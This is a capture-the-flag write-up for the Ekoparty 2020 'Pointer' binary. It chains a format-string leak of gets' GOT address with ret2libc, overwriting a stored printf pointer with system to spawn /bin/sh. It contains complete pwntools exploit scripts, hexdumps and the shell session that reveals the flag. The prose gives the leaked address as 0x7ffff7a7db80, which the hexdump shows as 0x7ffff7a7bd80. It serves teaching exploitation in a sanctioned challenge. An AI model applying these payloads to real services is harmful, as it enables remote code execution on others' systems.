Pointer (Pwn) – Ekoparty 2020 Pre-CTF [EN]

This vulnerable binary was part of the misc challenges at the Ekoparty 2020 Pre-CTF. You can download it here. To solve it you have to combine a format string attack with ret2libc.

Let’s start by checking the file type with file

Pointer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32

The file is a 64-bit dynamically linked Linux executable. Upon execution, it says hello and waits for an input that is returned.

output

If we disassemble the binary, we find that it allocates space for a 0x40 byte buffer and for four 8 byte local variables in the stack.

disassembly

These local variables are used to store pointers to Procedure linkage table (PLT) entries and the pointers are used to call libc functions. For example, here we see a call to printf that prints “Welcome bro” by copying this pointer to rax and then executing call rax.

disassembly2

Using the same strategy, the program asks for input passing the buffer’s address to gets. Then, the program uses the same pointer as the only argument of printf. Hence, we can try a format string attack. You can read more about this attack here, here or here.

disassembly3

Let’s write a script to achieve the attack and print the address of gets. This address will be useful to calculate the positions of other libc functions in the program’s address space that we will use to take control of the execution. We’ll use a Python library called pwntools.

from pwn import *

context.log_level = 'debug'

gets_got = 0x601040

payload = "%7$s    "
payload += p64(gets_got)

p = remote("52.202.106.196", 61338)
p.recvline()
p.sendline(payload)
p.recvall()

The payload is composed by two parts. First, the format string to print the eighth argument as a string pointer and some padding. As the program is a 64-bit executable, printf will get the first six arguments from registers, the seventh argument will be the format string including the padding and the eight argument will be the address that is the second part of the payload. This address is the entry for gets function in the Global offset table (GOT). As a result, printf will print to the terminal the content of gets GOT entry, leaking it’s address in the program space.

Since memory addresses aren’t always composed by printable characters, it is useful to activate the debug mode of pwntools library. This shows a hexdump of all sent and received data.

[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
    'Welcome Bro\n'
[DEBUG] Sent 0x11 bytes:
    00000000  25 37 24 73  20 20 20 20  40 10 60 00  00 00 00 00  │%7$s│    │@·`·│····│
    00000010  0a                                                  │·│
    00000011
[+] Receiving all data: Done (13B)
[DEBUG] Received 0xd bytes:
    00000000  80 bd a7 f7  ff 7f 20 20  20 20 40 10  60           │····│··  │  @·│`│
    0000000d
[*] Closed connection to 52.202.106.196 port 61338

When the script is executed, gets address is returned in the first 6 bytes received in little endian format (0x7ffff7a7db80). Every time the script is executed, we get the same address. This will make things easier because the address space is not being randomized. If this were not the case, we would have to find a way to leak gets address and continue executing the program. Sometimes this can be made by using printf and %n format specifier to write main address over other GOT entry such as exit causing the program to execute in a loop.

Luckily, we can use the leaked address directly to find out the addresses of other libc functions. To do this, we can use this site or clone this repo. We will try to execute system("/bin/sh") to get a shell. In the site, we enter the function name and the last 12 bits of the leaked address. Only the last 12 bits are checked, because randomization usually works on page size level.

libc database

The addresses of other functions depend on the version of libc. For this address of gets we get two possible libc versions. The first one worked well and has system on offset 0x45390 and gets on offset 0x6ed80 from libc start.

libc database2

With this information we can now exploit the binary using the following script:

from pwn import *

# context.update(arch='ia64', os='linux')
context.log_level = 'debug'

# Calculamos las direcciones
gets_libc = 0x7ffff7a7bd80

offset_gets = 0x06ed80
offset_system = 0x045390

system_libc = offset_system + (gets_libc-offset_gets)

payload2  = "/bin/sh\00"  # welcome bro pointer
payload2 += "A" * (0x40 - len(payload2)) # padding
payload2 += "B" * 0x8       # pisa fflush
payload2 += "C" * 0x8       # pisa exit
payload2 += "D" * 0x8       # pisa gets
payload2 += p64(system_libc)# pisa printf

p = remote("52.202.106.196", 61338)
p.recvline()
p.sendline(payload2)
p.interactive()

It calculates the actual memory address of system function by knowing gets address and the offsets of both function from the start of libc (gets_libc - offset_gets equals libc start address in the program’s memory space). Then, it takes advantage of the program call to printf right after calling gets as shown below:

disassembly 3

Before calling printf, rdi points to the buffer (first argument). In consequence, to exploit the binary, it only takes to write the path of the binary we want to execute (/bin/sh) in the buffer and overwrite the pointer to printf with the address of system we have just calculated. By executing this script, we can get a shell and print the flag.

[+] Opening connection to 52.202.106.196 on port 61338: Done
[DEBUG] Received 0xc bytes:
    'Welcome Bro\n'
[DEBUG] Sent 0x61 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  41 41 41 41  41 41 41 41  │/bin│/sh·│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  42 42 42 42  42 42 42 42  43 43 43 43  43 43 43 43  │BBBB│BBBB│CCCC│CCCC│
    00000050  44 44 44 44  44 44 44 44  90 23 a5 f7  ff 7f 00 00  │DDDD│DDDD│·#··│····│
    00000060  0a                                                  │·│
    00000061
[*] Switching to interactive mode
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x1e bytes:
    'EKO{AreYouReadyFor#Pwndemic?}\n'
EKO{AreYouReadyFor#Pwndemic?}